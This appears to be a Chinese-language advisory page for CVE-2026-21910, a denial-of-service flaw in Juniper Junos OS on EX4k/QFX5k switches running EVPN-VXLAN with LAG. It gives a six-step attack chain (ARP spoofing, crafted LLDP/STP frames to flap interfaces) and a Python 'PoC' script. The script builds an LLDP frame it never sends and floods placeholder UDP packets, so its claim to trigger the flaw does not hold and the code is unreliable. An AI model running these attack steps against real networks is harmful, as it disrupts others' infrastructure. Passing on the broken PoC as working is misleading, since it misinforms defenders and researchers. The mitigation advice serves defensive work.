IPBUF安全漏洞报告
English
CVE-2026-21910 CVSS 6.5 中危

CVE-2026-21910 Juniper Junos OS PFE拒绝服务漏洞

披露日期: 2026-01-15

漏洞信息

漏洞编号
CVE-2026-21910
漏洞类型
拒绝服务(DoS)
CVSS评分
6.5 中危
攻击向量
邻接 (AV:A)
认证要求
无需认证 (PR:N)
用户交互
无需交互 (UI:N)
影响产品
Juniper Junos OS (EX4k Series, QFX5k Series)

相关标签

拒绝服务(DoS)JuniperJunos OSPFEEVPN-VXLANVXLANLAGEX4kQFX5k接口flapping

漏洞概述

CVE-2026-21910是Juniper Networks Junos OS中数据包转发引擎(PFE)的一个中等严重性拒绝服务漏洞。该漏洞存在于EX4k系列和QFX5k系列平台的PFE中,由于对异常条件检查不当,当攻击者通过网络邻接方式快速 flaps(频繁开关)接口时,会导致VXLAN网络标识符(VNI)之间的流量丢失,最终造成拒绝服务。问题发生在EVPN-VXLAN配置下的链路聚合组(LAG)环境中,当存在多条到同一目的地的负载均衡下一跳路由时,链路抖动会触发流量丢弃。该漏洞仅影响支持EVPN-VXLAN虚拟端口链路聚合组(VPLAG)的系统,如QFX5110、QFX5120、QFX5200、EX4100、EX4300、EX4400和EX4650等设备。

技术细节

该漏洞根源在于数据包转发引擎(PFE)对异常条件的处理逻辑存在缺陷。在EVPN-VXLAN环境中,当接口发生链路抖动(flapping)时,PFE未能正确处理负载均衡下一跳路由的状态变更。具体来说,当LAG接口出现up/down状态切换时,系统会重新计算转发表,但PFE中存在一个竞态条件或状态同步问题,导致Inter-VNI(VNI间)流量被错误丢弃。攻击者利用此漏洞需要满足以下条件:1) 目标设备运行存在漏洞的Junos OS版本;2) 设备配置了EVPN-VXLAN和LAG;3) 存在多条到同一目的地的ECMP或负载均衡路径;4) 攻击者处于网络邻接位置。攻击者通过持续发送导致链路状态变化的流量或模拟链路故障,触发接口flapping,使PFE进入异常状态,导致VNI间流量持续丢弃。恢复服务需要手动重启受影响的FPC。

攻击链分析

STEP 1
1
情报收集:攻击者识别目标设备为Juniper EX4k或QFX5k系列设备,确认运行存在漏洞的Junos OS版本
STEP 2
2
环境确认:验证目标设备配置了EVPN-VXLAN和LAG,且存在多条负载均衡的下一跳路由
STEP 3
3
网络邻接建立:攻击者获取与目标设备的网络邻接位置(如通过ARP欺骗或接入同一广播域)
STEP 4
4
触发接口抖动:通过发送精心构造的LLDP、CDP或STP BPDU报文,模拟链路故障导致接口状态频繁变化
STEP 5
5
漏洞利用:接口flapping触发PFE中的异常条件检查缺陷,导致Inter-VNI流量被错误丢弃
STEP 6
6
DoS完成:VNI间流量持续丢失,EVPN-VXLAN网络中断,需要手动重启FPC才能恢复服务

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
#!/usr/bin/env python3 # CVE-2026-21910 PoC - Juniper Junos OS PFE DoS # This PoC simulates interface flapping to trigger the vulnerability # Note: Requires network adjacency to target device import socket import struct import time import sys def send_bpdu_oscillation(target_ip, duration=60): """ Simulate rapid interface state changes to trigger the vulnerability. In real attack, this would involve: 1. Sending crafted LLDP/CDP packets to cause port flapping 2. Sending STP BPDUs to trigger TCN (Topology Change Notification) 3. Exploiting LACP rate changes """ print(f"[*] Starting interface flapping simulation against {target_ip}") print(f"[*] Duration: {duration} seconds") # LLDP frame to trigger port state changes lldp_frame = bytes([ 0x01, 0x80, 0xc2, 0x00, 0x00, 0x0e, # Destination MAC (LLDP multicast) 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, # Source MAC 0x88, 0xcc, # LLDP Ethertype # LLDP TLV header (Chassis ID) 0x02, 0x07, 0x04, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, # Port ID TLV 0x04, 0x04, 0x03, 0x00, 0x00, 0x01, # TTL TLV 0x06, 0x02, 0x00, 0x78, # End TLV 0x00, 0x00 ]) start_time = time.time() packet_count = 0 try: sock = socket.socket(socket.AF_INET, socket.SOCK_DGRAM) # Rapidly send packets to simulate flapping while time.time() - start_time < duration: # In real scenario, this would be raw socket L2 injection # For demonstration, using UDP as placeholder sock.sendto(b"FLAP_TRIGGER", (target_ip, 4789)) packet_count += 1 time.sleep(0.01) # 100 packets per second if packet_count % 1000 == 0: print(f"[*] Sent {packet_count} packets...") print(f"[+] Completed. Sent {packet_count} packets in {duration}s") print("[!] Check if VNI间 traffic is dropping on target device") except Exception as e: print(f"[-] Error: {e}") finally: sock.close() def verify_vulnerability(target_ip): """ Verify if the vulnerability is exploitable by checking: 1. Device is Juniper with affected version 2. EVPN-VXLAN is configured 3. LAG exists with multiple paths """ print(f"[*] Checking vulnerability status on {target_ip}") # In real scenario, would check via SNMP/JTI API print("[*] Note: Manual verification required via CLI:") print(" show interfaces extensive | match 'logical'") print(" show evpn database") print(" show vxlan tunnel statistics") if __name__ == "__main__": if len(sys.argv) < 2: print("Usage: python3 CVE-2026-21910_poc.py <target_ip> [duration]") sys.exit(1) target = sys.argv[1] duration = int(sys.argv[2]) if len(sys.argv) > 2 else 60 verify_vulnerability(target) send_bpdu_oscillation(target, duration)

影响范围

Juniper Junos OS on EX4k/QFX5k < 21.4R3-S12
Juniper Junos OS on EX4k/QFX5k 22.2 所有版本
Juniper Junos OS on EX4k/QFX5k >= 22.4 且 < 22.4R3-S8
Juniper Junos OS on EX4k/QFX5k >= 23.2 且 < 23.2R2-S5
Juniper Junos OS on EX4k/QFX5k >= 23.4 且 < 23.4R2-S5
Juniper Junos OS on EX4k/QFX5k >= 24.2 且 < 24.2R2-S3
Juniper Junos OS on EX4k/QFX5k >= 24.4 且 < 24.4R2

防御指南

临时缓解措施
临时缓解措施:1) 配置接口的链路抖动保护(interface bounce-protection)限制接口状态变化频率;2) 启用storm-control限制广播/组播流量;3) 部署端口安全控制,限制接入交换机的未知设备;4) 监控EVPN-VXLAN流量统计,发现流量异常下降时及时告警;5) 如果发生DoS,手动重启受影响的FPC以恢复服务:request chassis fpc restart slot <slot-number>。建议在条件允许时尽快升级到官方修复版本。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表